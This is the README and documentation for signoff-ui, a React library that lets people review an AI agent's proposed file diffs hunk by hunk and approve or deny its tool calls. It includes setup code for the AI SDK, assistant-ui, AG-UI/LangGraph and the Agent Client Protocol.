# signoff-ui
Review what your agent changed and approve what it may do: React components for multi-file diff review and tool approvals, for AI SDK and AG-UI agents, inside the chat UI you already have.
**Works with**
**Website and docs:** [signoff-ui.vercel.app](https://signoff-ui.vercel.app), with a playground where a scripted coding agent asks for a review and an approval, driven from the keyboard, with no API key.
## Why it exists
Coding and editing agents propose changes across several files and ask to run commands that can break things, and someone has to sign off on both. The chat kits most teams use stop short there: assistant-ui's reviewable diff takes one file's hunks, already split, and its apply returns nothing, while AI Elements has no diff at all and a confirm/deny you wire up yourself. `DiffReview` computes the hunks from each file's old and new contents, lets a person accept or reject them (or whole files) and comment on lines from the keyboard, and gives the agent back each file with only the accepted hunks applied, the hunks it rejected and every comment with its lines. `ApprovalCard` shows exactly what will run and how risky it is, takes a reason with a denial, lets a person approve once, for the session or always (by tool and argument pattern) and edit the arguments first, and tells automatic decisions apart from a person's.
## Quickstart
```bash
npm i signoff-ui ai @ai-sdk/react @ai-sdk/openai zod
```
Add the styles once: `@import 'signoff-ui/tailwind.css';` after Tailwind v4 in your CSS, or `import 'signoff-ui/styles.css';` with Tailwind v3 or none. Without Tailwind, the classes on your own elements below need [this CSS](https://signoff-ui.vercel.app/docs/getting-started#without-tailwind).
Then add three files to a Next.js App Router app (under `src/app/` if your app has a `src` folder). They build as they are, and run with `OPENAI_API_KEY` set.
**The route.** The agent proposes edits through `review_changes`, a tool with no `execute`, so the page answers it. `toolApproval` makes AI SDK 7 stop and ask before `run_command`:
```ts
// app/api/chat/route.ts
import { openai } from '@ai-sdk/openai';
import { convertToModelMessages, stepCountIs, streamText, tool, type UIMessage } from 'ai';
import { z } from 'zod';
const tools = {
// No execute: the page answers it with a DiffReview, and the result holds each file as applied.
review_changes: tool({
description: 'Propose edits to files. The user reviews them hunk by hunk before anything is written.',
inputSchema: z.object({
files: z.array(z.object({ path: z.string(), oldContent: z.string().optional(), newContent: z.string() })),
}),
}),
run_command: tool({
description: 'Run a shell command in the repository.',
inputSchema: z.object({ command: z.string() }),
execute: async ({ command }) => ({ exitCode: 0, stdout: `(simulated) ${command}` }),
}),
};
export async function POST(req: Request) {
const { messages }: { messages: UIMessage[] } = await req.json();
const result = streamText({
model: openai('gpt-5.4-mini'),
messages: await convertToModelMessages(messages, { tools }),
tools,
// Ask before running commands. The reason shows on the approval card.
toolApproval: { run_command: { type: 'user-approval', reason: 'Runs a shell command in the repository.' } },
// Keep going after tool calls: the AI SDK stops after the first step by default.
stopWhen: stepCountIs(10),
});
return result.toUIMessageStreamResponse({ originalMessages: messages });
}
```
**The client component.** `AgentMessage` lays out the run with the approval card inline, and `renderTool` puts a `DiffReview` where the proposed edit is. Its `onSubmit` result goes back to the agent as the tool's output, through `reviewToolOutput`: a summary, each file as applied, the hunks rejected and the reviewer's comments. The run continues once every answer is in:
```tsx
// app/agent-run.tsx
'use client';
import { useChat } from '@ai-sdk/react';
import { lastAssistantMessageIsCompleteWithApprovalResponses, lastAssistantMessageIsCompleteWithToolCalls } from 'ai';
import { useState } from 'react';
import {
AgentMessage,
AgentStatus,
DiffReview,
deriveAgentState,
getToolPartName,
reviewToolOutput,
type FileChange,
} from 'signoff-ui';
export function AgentRun() {
const { messages, status, sendMessage, addToolOutput, addToolApprovalResponse } = useChat({
// Continue the run once the review is in and every approval has an answer.
sendAutomaticallyWhen: (chat) =>
lastAssistantMessageIsCompleteWithToolCalls(chat) || lastAssistantMessageIsCompleteWithApprovalResponses(chat),
});
const [input, setInput] = useState('');
const last = messages.findLast((m) => m.role === 'assistant');
// review_changes waits on a person, like an approval.
const { state, detail } = deriveAgentState({ status, message: last, pendingClientTools: ['review_changes'] });
return (
// The kit's own background and text colors, so it reads well on any page. Add `dark` for the dark theme.
);
}
```
Render it from a page. With `cacheComponents`, on by default in new Next.js 16 apps, `useChat` needs a `` boundary: it creates ids with `Math.random()`, which Next.js doesn't allow in prerendered output. So the run renders in the browser, after hydration, and the page's server HTML has only an empty placeholder for it.
```tsx title="app/page.tsx"
import { Suspense } from 'react';
import { AgentRun } from './agent-run';
export default function Page() {
// With cacheComponents (on in new Next.js 16 apps), useChat needs a Suspense boundary:
// it creates ids with Math.random(), which Next.js does not allow in prerendered output.
return (
);
}
```
On the server, give the model its tools: `review_changes` has no `execute`, so the page answers it; `run_command` needs approval first. Send usage as message metadata:
```ts title="app/api/chat/route.ts"
import { openai } from '@ai-sdk/openai';
import { addUsage } from 'signoff-ui/core';
import { convertToModelMessages, stepCountIs, streamText, tool, type LanguageModelUsage, type UIMessage } from 'ai';
import { z } from 'zod';
type Message = UIMessage<{ usage?: LanguageModelUsage }>;
// A pretend repository, so nothing touches your disk or shell.
const FILES: Record = {
'app/api/chat/route.ts': 'export async function POST(req: Request) {\n // ...\n}\n',
};
const tools = {
read_file: tool({
description: 'Read a file from the repository.',
inputSchema: z.object({ path: z.string() }),
execute: async ({ path }) => {
const content = FILES[path];
if (content === undefined) throw new Error(`ENOENT: no such file or directory, open '${path}'`);
return { path, content };
},
}),
// No execute: the page answers it with a DiffReview, and the result holds each file as applied.
review_changes: tool({
description: 'Propose edits to files. The user reviews them hunk by hunk before anything is written.',
inputSchema: z.object({
files: z.array(z.object({ path: z.string(), oldContent: z.string().optional(), newContent: z.string() })),
}),
}),
run_command: tool({
description: 'Run a shell command in the repository.',
inputSchema: z.object({ command: z.string() }),
execute: async ({ command }) => ({ exitCode: 0, stdout: `(simulated) ${command}` }),
}),
};
export async function POST(req: Request) {
const { messages }: { messages: Message[] } = await req.json();
const result = streamText({
model: openai('gpt-5.4-mini'),
messages: await convertToModelMessages(messages, { tools }),
tools,
// Ask before running commands. The reason shows on the approval card.
toolApproval: { run_command: { type: 'user-approval', reason: 'Runs a shell command in the repository.' } },
// Keep going after tool calls: the AI SDK stops after the first step by default.
stopWhen: stepCountIs(10),
});
// After the review and the approval, the run continues the same message in a new request whose
// totalUsage starts from zero, and useChat replaces metadata.usage. Add the usage the message already has
// (it comes back from the client, so it is fine for display but not for billing).
const last = messages.at(-1);
const previous = last?.role === 'assistant' ? last.metadata?.usage : undefined;
return result.toUIMessageStreamResponse({
originalMessages: messages,
sendSources: true,
messageMetadata: ({ part }) =>
part.type === 'finish' ? { usage: addUsage(previous, part.totalUsage) } : undefined,
// Failed tool calls show this text. The default hides every error as "An error occurred.".
onError: (error) => (error instanceof Error ? error.message : 'An error occurred.'),
});
}
```
What each part is for:
- **`review_changes` without `execute`.** The AI SDK ends the step at the call and leaves it to the client. `DiffReview`'s `onSubmit` gets each file with only the accepted hunks applied (`content`) and its decision, the rejected hunks with their lines, and the comments with theirs. `reviewToolOutput` turns that into one summary sentence and those lists, and `addToolOutput` sends it to the model as the tool's result.
- **`sendAutomaticallyWhen`.** Continues the run once the review is in (`lastAssistantMessageIsCompleteWithToolCalls`) and once every approval has an answer (`lastAssistantMessageIsCompleteWithApprovalResponses`).
- **`pendingClientTools`.** `useChat` is `ready` while the review waits on you; naming the tool makes `deriveAgentState` read it as waiting, not done.
- **`stopWhen`.** The AI SDK stops after one step by default, so without it the run ends at the first tool call and never reaches the review.
- **`toolApproval`.** The `reason` shows on the approval card, as `approval.requestReason`.
- **`addUsage`.** Without it, the meter would show only the last request of a run that paused for the review and the approval.
- **`onError`.** A tool that throws becomes an `output-error` part, and its `errorText` goes through `onError`. By default that hides every message behind "An error occurred.", so the timeline would show that instead of `ENOENT`. In production, pass through the errors you're happy for users to read and keep the rest generic.
#### Without Tailwind
The classes on the wrapper, the form, the input and the button are Tailwind utilities. `styles.css` styles only the kit's own components, so without Tailwind these elements get the browser's defaults. Give the wrapper `className="agent-run"` and the form `className="composer"` instead, and add this CSS:
```css title="app/globals.css"
.agent-run {
display: flex;
flex-direction: column;
gap: 1rem;
width: 100%;
max-width: 42rem;
margin: 0 auto;
padding: 1.5rem;
background: var(--signoff-bg);
color: var(--signoff-fg);
}
.composer {
display: flex;
gap: 0.5rem;
}
.composer input,
.composer button {
border-radius: 0.5rem;
font: inherit;
font-size: 0.875rem;
}
.composer input {
flex: 1;
padding: 0.5rem 0.75rem;
border: 1px solid var(--signoff-border);
background: var(--signoff-surface);
color: inherit;
}
.composer button {
padding: 0 1rem;
border: 0;
background: var(--signoff-accent);
color: var(--signoff-on-accent);
font-weight: 500;
}
.composer button:disabled {
opacity: 0.5;
}
```
#### Imports with shadcn
With the shadcn CLI, add the `agent-message`, `agent-status`, `diff-review` and `run-meter` items. The walkthrough's imports from `signoff-ui` then come from the files they add:
```tsx
import { AgentMessage } from '@/components/signoff-ui/agent-message';
import { AgentStatus } from '@/components/signoff-ui/agent-status';
import { DiffReview } from '@/components/signoff-ui/diff-review';
import { RunMeter } from '@/components/signoff-ui/run-meter';
import { deriveAgentState, getToolPartName } from '@/components/signoff-ui/lib/ai';
import type { FileChange } from '@/components/signoff-ui/lib/diff';
import { useRunTiming } from '@/components/signoff-ui/lib/hooks';
import { reviewToolOutput } from '@/components/signoff-ui/lib/review';
```
In the route, `addUsage` comes from `@/components/signoff-ui/lib/usage`, where npm has `signoff-ui/core`.
### Choosing a model
The kit renders what the AI SDK streams, whichever model produced it, so the model is one line in the route. Install the provider's package, put its API key in your environment, and change `model`:
```ts title="app/api/chat/route.ts"
import { anthropic } from '@ai-sdk/anthropic';
const result = streamText({
model: anthropic('claude-sonnet-5-5'), // was openai('gpt-5.4-mini')
messages: await convertToModelMessages(messages, { tools }),
tools,
toolApproval: { run_command: { type: 'user-approval', reason: 'Runs a shell command in the repository.' } },
stopWhen: stepCountIs(10),
});
```
- **OpenAI**: `openai('gpt-5.4-mini')` from `@ai-sdk/openai`, with `OPENAI_API_KEY`
- **Anthropic**: `anthropic('claude-sonnet-5-5')` from `@ai-sdk/anthropic`, with `ANTHROPIC_API_KEY`
- **Google**: `google('gemini-3.5-flash')` from `@ai-sdk/google`, with `GOOGLE_GENERATIVE_AI_API_KEY`
- **xAI**: `xai('grok-4.7')` from `@ai-sdk/xai`, with `XAI_API_KEY`
- **Mistral**: `mistral('mistral-medium-latest')` from `@ai-sdk/mistral`, with `MISTRAL_API_KEY`
- **A local model** (Ollama, LM Studio): `ollama('qwen3')` from `@ai-sdk/openai-compatible`, with no key
A local model runs on your machine, with no key and nothing to pay per token. Point the OpenAI-compatible provider at the local server (LM Studio's is `http://localhost:1234/v1`) and pick a model you've pulled that can call tools:
```ts
import { createOpenAICompatible } from '@ai-sdk/openai-compatible';
const ollama = createOpenAICompatible({ name: 'ollama', baseURL: 'http://localhost:11434/v1' });
```
The model ids are from each package's own model-id types, for the AI SDK 7 versions; any id the provider accepts works. Other providers are on the [AI SDK providers page](https://ai-sdk.dev/providers/ai-sdk-providers), including Amazon Bedrock, Azure OpenAI, Groq, DeepSeek and the Vercel AI Gateway. For tool approvals, pick a model that's good at tool calling.
Agents on LangGraph, CrewAI, Mastra or another AG-UI framework pick their model in the framework, and the components render them the same way: see [AG-UI agents](https://signoff-ui.vercel.app/docs/ag-ui).
### API keys and costs
**Do I need an API key, and does it work with my ChatGPT or Claude subscription?** The kit itself needs no key: it's React components, and it makes no requests of its own. The agent you build calls your provider with your API key, from your server, like any AI SDK app. Chat subscriptions such as ChatGPT Plus or Claude Pro don't include API access; API usage is billed separately by each provider, or runs free on a local model.
**Does the kit cost anything?** No. It's MIT-licensed, with no service, account or usage fees. What a run costs is what your provider charges for it, which [`RunMeter`](https://signoff-ui.vercel.app/docs/components/run-meter) estimates from the rates you give it.
**Does the playground use a key?** The public playground runs a scripted agent, with no model and no key. Its optional live mode runs the same tools against OpenAI, with the `OPENAI_API_KEY` (and `OPENAI_MODEL`) of whoever runs the playground; it's off on the public demo.
### AI SDK 6 or 7
The components take the same message parts from both. The differences are on the server:
- Install `ai@^6 @ai-sdk/react@^3 @ai-sdk/openai@^3` for AI SDK 6, and the AI SDK 6 versions of any other providers (`@ai-sdk/anthropic@^3`, `@ai-sdk/google@^3`, `@ai-sdk/xai@^3`, `@ai-sdk/openai-compatible@^2` and so on).
- `toolApproval` is an AI SDK 7 option. On 6, drop it and mark the tool with `needsApproval: true`:
```ts
run_command: tool({
description: 'Run a shell command in the repository.',
inputSchema: z.object({ command: z.string() }),
needsApproval: true,
execute: async ({ command }) => ({ exitCode: 0, stdout: `(simulated) ${command}` }),
}),
```
The rest of the walkthrough is the same. CI typechecks the library and runs its tests against the latest AI SDK 6 and the oldest supported 6.0.0, as well as 7.
### Next.js
**Server Components.** Components and hooks are client modules with their own `'use client'` directive, so a Server Component can render any of them. The pure helpers aren't, so Server Components and Route Handlers can call them. Import those from `signoff-ui/core`, which has no React:
```ts title="app/api/review/route.ts"
import { applyHunks, parseFileChange } from 'signoff-ui/core';
```
**`cacheComponents`.** Nothing in the kit reads the clock or a random number while rendering on the server, so pages that render it prerender with `cacheComponents` on. Live durations render after hydration, so server and client markup match. `useChat` is the exception, as above: wrap the component that calls it in ``.
**Versions.** CI builds and runs the walkthrough on Next.js 16. Next.js 14 and 15 run React 18.2 and 19, which the kit supports, and the Pages Router works too, since the components are ordinary React; those aren't built in CI.
### React 18 or 19
Both work with the same code. CI installs React 18 and runs the library's test suite, typecheck included, on it. On React 18 there's nothing to change.
### Theming
Every color, radius and font is a CSS variable. Override them on `:root`, on `.dark`, or on any subtree; `.light` and `.dark` switch a subtree's palette too:
```css title="app/globals.css"
:root {
--signoff-accent: #7c3aed; /* fills: buttons, running state, focus */
--signoff-accent-fg: #6d28d9; /* accent text */
--signoff-hot: #c2410c; /* attention: approvals, errors, deletions */
--signoff-radius: 6px;
--signoff-font-sans: var(--font-inter);
}
```
| Tokens | Purpose |
| --------------------------------------------------------------------------------------- | -------------------------------- |
| `--signoff-bg`, `--signoff-surface`, `--signoff-surface-2`, `--signoff-border(-strong)` | Surfaces and lines |
| `--signoff-fg`, `--signoff-fg-muted`, `--signoff-fg-subtle` | Text, all AA on every surface |
| `--signoff-accent`, `--signoff-accent-fg`, `--signoff-on-accent`, `--signoff-ring` | Activity, primary actions, focus |
| `--signoff-hot`, `--signoff-hot-fg`, `--signoff-on-hot`, `--signoff-warn(-fg)` | Attention, risk, errors |
| `--signoff-add-bg`, `--signoff-add-strong`, `--signoff-del-bg`, `--signoff-del-strong` | Diff lines and word highlights |
| `--signoff-chart-input`, `--signoff-chart-output` | The token bar |
| `--signoff-code-*` | Syntax tinting |
| `--signoff-radius`, `--signoff-font-sans`, `--signoff-font-mono` | Shape and type |
The fonts are your app's `--font-sans` and `--font-mono` when it defines them, as shadcn/ui and Tailwind v4 apps do, then Geist when `geist` is loaded, then the system's.
Messages, timelines and sources have no background of their own: they sit on your page and take their text color from the kit's palette. If the page's background doesn't match the kit's theme (a dark page with the light palette, say), give their container `bg-signoff-bg text-signoff-fg`, as the walkthrough does. Cards, the status pill and the meter paint their own surfaces.
**In a shadcn/ui app**, point the kit at your tokens so it looks native. Add this after the kit's tokens; one block covers both themes, since your tokens switch with `.dark`:
```css title="app/globals.css"
:root,
.dark {
--signoff-bg: var(--background);
--signoff-surface: var(--card);
--signoff-surface-2: var(--muted);
--signoff-border: var(--border);
--signoff-border-strong: var(--input);
--signoff-fg: var(--foreground);
--signoff-fg-muted: var(--muted-foreground);
--signoff-fg-subtle: var(--muted-foreground);
--signoff-accent: var(--primary);
--signoff-accent-fg: var(--primary);
--signoff-on-accent: var(--primary-foreground);
--signoff-ring: var(--ring);
--signoff-hot: var(--destructive);
--signoff-hot-fg: var(--destructive);
--signoff-radius: var(--radius);
}
```
Diff and chart colors keep the kit's cyan and magenta, which your palette may not tell apart as well. The kit's contrast test covers its own palette, so check text contrast with yours.
**Styling hooks.** Components accept `className`, merged with `tailwind-merge`, and expose `data-signoff` on their root, `data-slot` (such as `data-slot="signoff-approval-card"`) and state attributes (`data-phase`, `data-state`, `data-decision`, `data-risk`) to target from your CSS:
```css
[data-slot='signoff-approval-card'][data-risk='critical'] {
outline: 2px solid var(--signoff-hot);
}
```
### Next steps
- [AG-UI agents](https://signoff-ui.vercel.app/docs/ag-ui): render LangGraph, CrewAI or Mastra agents with the same components.
- [Components](https://signoff-ui.vercel.app/components): each component in isolation, with its install command and usage.
- [The playground](https://signoff-ui.vercel.app/): a full run with approvals and diff review, driven from the keyboard.
## Inside your chat UI
> Use the review and approval components in assistant-ui, AI Elements or your own chat, with the code for each.
Source: https://signoff-ui.vercel.app/docs/chat-ui
The components take AI SDK message parts and plain props. There is no runtime or store to adopt, so they render inside whatever draws your chat: your own components, AI Elements or an assistant-ui thread. Their names (`data-signoff`, `--signoff-*`, `signoff-*` slots) don't collide with assistant-ui's or shadcn/ui's, and `styles.css` styles only the components' own elements, never your page or the content you render inside them.
The examples below use a `review_changes` tool with no `execute`, which the page answers with a `DiffReview`, and a `run_command` tool that needs approval, as in [Getting started](https://signoff-ui.vercel.app/docs/getting-started#render-a-run).
### Your own chat
Render `AgentMessage` for the assistant's message, with `onToolApproval` and `renderTool`, as the [quickstart](https://signoff-ui.vercel.app/docs/getting-started#render-a-run) does. Or keep your own message rendering and use the kit only for the parts a person has to sign off:
```tsx title="components/message-parts.tsx"
'use client';
import type { UIMessage } from 'ai';
import {
DiffReview,
ToolApprovalCard,
getToolPartName,
isToolPart,
type DiffReviewResult,
type FileChange,
type ToolApprovalResponse,
} from 'signoff-ui';
export function MessageParts({
message,
onApproval,
onReview,
}: {
message: UIMessage;
/** `useChat().addToolApprovalResponse` */
onApproval: (response: ToolApprovalResponse) => void;
/** Calls `useChat().addToolOutput` with `reviewToolOutput(review)` as the tool's output. */
onReview: (toolCallId: string, review: DiffReviewResult) => void;
}) {
return message.parts.map((part, index) => {
if (part.type === 'text') return
{part.text}
;
if (!isToolPart(part)) return null;
if (getToolPartName(part) === 'review_changes' && part.state === 'input-available') {
const { files } = part.input as { files: FileChange[] };
return (
onReview(part.toolCallId, review)} />
);
}
// Renders nothing for calls that need no approval.
return ;
});
}
```
### AI Elements
AI Elements maps each message part to a component: `MessageResponse` for text, `Tool` for a tool call, `Confirmation` for its approval. Keep that, and for the calls a person signs off, render the kit's component in the same map:
```tsx
if (isToolPart(part) && getToolPartName(part) === 'review_changes' && part.state === 'input-available') {
return ;
}
if (isToolPart(part) && part.approval) {
return ;
}
// …and AI Elements' Tool for the other calls
```
AI Elements apps run Tailwind v4, so import `signoff-ui/tailwind.css` after Tailwind, and point the kit's tokens at your shadcn/ui ones as [Theming](https://signoff-ui.vercel.app/docs/getting-started#theming) shows, so the cards match the rest of the chat.
### assistant-ui
`signoff-ui/assistant-ui` renders the kit for assistant-ui's tool calls, with whatever runtime draws the thread. `signoffTools()` goes in `MessagePrimitive.Parts`' `components.tools`. A call to one of its `review` tools gets a `DiffReview`, and the review goes back as the call's result through `addResult`. Any other call at an approval gate gets the approval card, answered through `respondToApproval`. `SignoffToolsProvider`, optional, passes approval rules from `useApprovalPolicy`, risk levels by tool, and props for the reviews and the cards.
```bash
npm i signoff-ui @assistant-ui/react @assistant-ui/react-ai-sdk
```
`@assistant-ui/react` is an optional peer dependency of signoff-ui, needed only for this entry, which uses its types and none of its code. `@assistant-ui/react-ai-sdk` is for the AI SDK runtime in the thread below. With the shadcn CLI, the binding is the `assistant-ui` item: `npx shadcn@latest add https://signoff-ui.vercel.app/r/assistant-ui.json`.
With the AI SDK runtime, against the `review_changes` and `run_command` tools of [Getting started](https://signoff-ui.vercel.app/docs/getting-started#render-a-run):
```tsx title="components/thread.tsx"
'use client';
import { AssistantRuntimeProvider, ComposerPrimitive, MessagePrimitive, ThreadPrimitive } from '@assistant-ui/react';
import { useChatRuntime } from '@assistant-ui/react-ai-sdk';
import { lastAssistantMessageIsCompleteWithApprovalResponses, lastAssistantMessageIsCompleteWithToolCalls } from 'ai';
import { useApprovalPolicy } from 'signoff-ui';
import { SignoffToolsProvider, signoffTools } from 'signoff-ui/assistant-ui';
// review_changes gets a DiffReview; any call with an approval gate gets the approval card.
const tools = signoffTools({ review: ['review_changes'] });
function AssistantMessage() {
return (
);
}
function UserMessage() {
return (
);
}
export function Thread() {
const runtime = useChatRuntime({
// Continue the run once the review is in and every approval has an answer.
sendAutomaticallyWhen: (chat) =>
lastAssistantMessageIsCompleteWithToolCalls(chat) || lastAssistantMessageIsCompleteWithApprovalResponses(chat),
});
const policy = useApprovalPolicy();
return (
{({ message }) => (message.role === 'assistant' ? : )}
Send
);
}
```
This ran end to end against the quickstart's scripted model, the review, an approval for the session and the resumed answer, with `@assistant-ui/react` 0.15 and `@assistant-ui/react-ai-sdk` 1.4. [examples/assistant-ui](https://github.com/dgesteves/signoff-ui/tree/main/examples/assistant-ui) runs the same on assistant-ui's local runtime with a scripted model in the page, no API key and no server. CI builds it from the packed package and drives a review, an approval and a rule's automatic answer in Chrome.
- **Your own components for some tools:** pass `Fallback` to `signoffTools` for calls with no approval gate, or render `ReviewToolUI` and `ApprovalToolUI` inside your own tool components. They take the tool-call props assistant-ui passes.
- **Approval rules:** with a `policy`, the card offers once, this session and always, and a call a rule already decides is answered without a card once the run has paused for it.
- **What the cards answer:** plain approve-or-deny gates. A request that asks a question or offers options to select (`display` other than `"decision"`) renders nothing here, so you can render your own for it.
### AG-UI agents
LangGraph, CrewAI, Mastra and other AG-UI agents render through `useAgUiAgent`, which turns the run into the same message parts, interrupts as approvals. See [AG-UI agents](https://signoff-ui.vercel.app/docs/ag-ui).
## AG-UI agents
> Render LangGraph, CrewAI, Mastra and other AG-UI agents with the same components, interrupts included, through useAgUiAgent.
Source: https://signoff-ui.vercel.app/docs/ag-ui
[AG-UI](https://docs.ag-ui.com) is the open protocol that LangGraph, CrewAI, Mastra, Pydantic AI and other agent frameworks use to stream runs to a frontend. `signoff-ui/ag-ui` turns an AG-UI agent into the same message parts the AI SDK produces, so every component works with it unchanged, approvals included.
Want to see it first? The [components page](https://signoff-ui.vercel.app/components#ag-ui) runs a real `@ag-ui/client` agent replaying a LangGraph-style run, with an interrupt you can approve or deny.
### Install
```bash
npm i signoff-ui ai @ag-ui/client
```
`ai` is there for the message part types only. A custom agent, an `AbstractAgent` whose `run()` returns an RxJS `Observable`, needs `rxjs` too, at the version `@ag-ui/client` uses (`rxjs@7.8.1` for 1.0). Add the styles as in [Getting started](https://signoff-ui.vercel.app/docs/getting-started#add-the-styles). With the shadcn CLI, the adapter is the `ag-ui` item:
```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/ag-ui.json
```
### Render an agent
`useAgUiAgent` takes any `@ag-ui/client` agent, `HttpAgent` or a framework integration's own `AbstractAgent`, and returns what the components need:
```tsx title="app/agent-run.tsx"
'use client';
import { HttpAgent } from '@ag-ui/client';
import { AgentMessage, AgentStatus, RunMeter, deriveAgentState } from 'signoff-ui';
import { useAgUiAgent } from 'signoff-ui/ag-ui';
const agent = new HttpAgent({ url: '/api/agent' });
export function AgentRun() {
const { messages, status, usage, step, respond } = useAgUiAgent(agent);
const last = messages.findLast((m) => m.role === 'assistant');
const { state, detail } = deriveAgentState({ status, message: last });
return (
<>
{last ? (
) : null}
>
);
}
export async function send(text: string) {
agent.addMessage({ id: crypto.randomUUID(), role: 'user', content: text });
await agent.runAgent();
}
```
Create the agent once, outside the component or in a `useMemo`: the hook subscribes to the instance it's given.
| Returns | What it is |
| ------------ | ------------------------------------------------------------------------------- |
| `messages` | The conversation as AI SDK `UIMessage`s: pass each to `AgentMessage` |
| `status` | `useChat`-style status, for `deriveAgentState` and `AgentStatus` |
| `error` | The run's error, if it failed |
| `usage` | Token usage summed over the runs seen, for `RunMeter` |
| `step` | The step in progress, such as the LangGraph node running |
| `interrupts` | Open interrupts; those bound to a tool call show as approval cards |
| `respond` | Answers a tool-call interrupt; pass it as `AgentMessage`'s `onToolApproval` |
| `resolve` | Answers any interrupt with your own payload |
| `editInput` | Arguments a person edited, sent with the approval; pass it as `onToolInputEdit` |
| `stop` | Aborts the run in progress; it ends as canceled, so it reads as `stopped` |
### How events map
| AG-UI 1.0 | Becomes |
| ------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| user message | `user` message with `text` parts, images and documents as `file` parts |
| the assistant, reasoning, tool and activity messages that follow it | one `assistant` message, the way the AI SDK groups a multi-step run |
| `TEXT_MESSAGE_*`, `REASONING_*` | `text` and `reasoning` parts, `state: 'streaming'` until their end event |
| `TOOL_CALL_START`, `TOOL_CALL_ARGS` | `dynamic-tool` part, `input-streaming`, with the arguments parsed as they arrive |
| `TOOL_CALL_END` | `input-available` |
| `TOOL_CALL_RESULT`, tool message | `output-available` (JSON results parsed), or `output-error` with the tool message's `error` |
| `RUN_FINISHED` with an `interrupt` outcome bound to a tool call | `approval-requested`, the interrupt's `message` as `approval.requestReason` |
| `respond({ id, approved, reason })` | `approval-responded` or `output-denied`; the agent resumes with `payload: { approved, reason }`, plus `input` when the arguments were edited with `editInput` |
| `RUN_STARTED`, content, `RUN_FINISHED`, `RUN_ERROR` | `status`: `submitted`, `streaming`, then `ready` or `error` |
| `RUN_FINISHED` with a `cancelled` outcome, or `stop()` | `status: 'ready'`, with what was streaming left cut off: `deriveAgentState` reads `stopped` |
| `usage` on `RUN_FINISHED` and `RUN_ERROR` | `usage`, summed over runs, with cache and reasoning tokens |
| `STEP_STARTED` | `step` |
| activity message | a `data-${activityType}` part, rendered by `renderData` |
| `SUBAGENT_STARTED`, and the messages and events with its `subagentRunId` | a `data-signoff-subagent` part after the call that started it (`parentToolCallId`), with `{ subagentRunId, parentToolCallId, name, status, parts }` |
| `SUBAGENT_FINISHED`, `SUBAGENT_ERROR` | the part's `status`: `done`, `suspended` (paused until a later run) or `error`, with the message as `errorText` |
Shared state (`STATE_SNAPSHOT`, `STATE_DELTA`) stays on `agent.state`.
### Sub-agents
A sub-agent's messages don't join its parent's parts one by one. Its text and tool calls, in the same shapes as the parent's, go in one `data-signoff-subagent` part, placed after the tool call that started it, and `ToolCallTimeline` (inside `AgentMessage` too) nests them under that call, collapsed. A sub-agent another one started goes inside that one's `parts`, after its call. One started by no call it can find shows where its first message was, and the timeline shows its calls in place.
Events can arrive in any order: a sub-agent's own events before its `SUBAGENT_STARTED` mark it running, and an end that came first stands. Messages restored from before the page (no events) still group by `subagentRunId`, without a name, `running` while one of their calls is. A call a sub-agent makes can wait on approval like any other: the interrupt names its `toolCallId`, the sub-agent opens to show the card, `deriveAgentState` reads `awaiting-approval`, and `respond` resumes the run. `subagents` in the run state (`reduceAgUiRun`) lists each one, with its name, parent call and status.
### Interrupts and approvals
AG-UI resumes every open interrupt in one run, so the hook waits until each has an answer before it calls `runAgent({ resume })`. A tool-call interrupt renders as an approval card, and `respond` answers it with `{ approved, reason }`. Pass `editInput` as `AgentMessage`'s `onToolInputEdit` and the cards let a person edit a call's arguments first; the payload then carries them as `input`, for your agent to run with. With an `approvalPolicy`, cards offer approving for the session or always, and answer what a rule covers without asking.
Interrupts that aren't tool approvals (`input_required`, or your own) are in `interrupts`. Answer them with `resolve`, matching the interrupt's `responseSchema`:
```ts
await resolve({ interruptId: interrupt.id, status: 'resolved', payload: { city: 'Lisbon' } });
```
### LangGraph
LangGraph agents speak AG-UI through [`ag-ui-langgraph`](https://github.com/ag-ui-protocol/ag-ui/tree/main/integrations/langgraph/python), which serves a compiled graph from FastAPI:
```python title="server.py"
# pip install ag-ui-langgraph fastapi uvicorn
from fastapi import FastAPI
from ag_ui_langgraph import LangGraphAgent, add_langgraph_fastapi_endpoint
from my_agent import graph # your compiled graph
app = FastAPI()
# emit_interrupt_outcome reports interrupts on RUN_FINISHED, where useAgUiAgent reads them. It's off by default.
add_langgraph_fastapi_endpoint(app, LangGraphAgent(name="agent", graph=graph, emit_interrupt_outcome=True), "/agent")
```
Point `HttpAgent` at it (`new HttpAgent({ url: 'http://localhost:8000/agent' })`), with FastAPI's `CORSMiddleware` or a rewrite in your app if the origins differ. An interrupt renders as an approval card when its value names the tool call it guards, and the hook resumes it with `{ approved, reason }`:
```python
from langgraph.types import interrupt
answer = interrupt({"message": f"Run `{command}`?", "tool_call_id": tool_call["id"]})
if not answer["approved"]:
... # answer.get("reason") is what the user typed, if anything
```
Interrupts without a tool call are in `interrupts`, for `resolve`.
### Other frameworks
CrewAI, Mastra, Pydantic AI and the protocol's other integrations each serve or wrap an AG-UI agent. Point an `HttpAgent` at the endpoint, or pass the integration's own `AbstractAgent` to `useAgUiAgent`; the components don't change. An interrupt becomes an approval card when it carries the `toolCallId` of the call it guards; how each framework sets that varies, so check its docs if you want approval cards rather than `interrupts`.
### Without the hook
The pure pieces behind it, `fromAgUiMessages`, `reduceAgUiRun`, `answerAgUiInterrupt` and `getAgUiResume`, work with your own store or a recorded event log. The adapter has no dependency on `@ag-ui/*`: it reads their objects structurally, and its tests run a real `@ag-ui/client` agent through an interrupt and a resumed run.
## Agent Client Protocol
> Render an ACP prompt turn with the same components: session updates as message parts, permission requests as approval cards, edits as diffs.
Source: https://signoff-ui.vercel.app/docs/acp
The [Agent Client Protocol](https://agentclientprotocol.com) (ACP) is the JSON-RPC protocol editors use to run coding agents. `signoff-ui/acp` turns one prompt turn into the parts the components render: the agent's message and thought chunks, its tool calls and their status, each permission request as an approval card with the options the agent offered, and an edit's diff content as `DiffReview` files.
Want to see it first? The [components page](https://signoff-ui.vercel.app/components#acp) plays a scripted ACP turn, no real agent: a read, an edit that shows its diff and asks permission, then the tests, which ask too.
### Install
```bash
npm i signoff-ui ai
```
`ai` is there for the message part types only. The entry is pure functions with no React and no dependency on an ACP library: its types mirror what it reads, and `@agentclientprotocol/sdk`'s objects fit them as they are (a type test checks it). Add the styles as in [Getting started](https://signoff-ui.vercel.app/docs/getting-started#add-the-styles).
### Fold a turn
A client receives `session/update` notifications while `session/prompt` runs, and `session/request_permission` requests it has to answer. Fold both into an `AcpTurn`, and render `toAcpMessage(turn)`. This hook holds one turn, and is the client half of the connection:
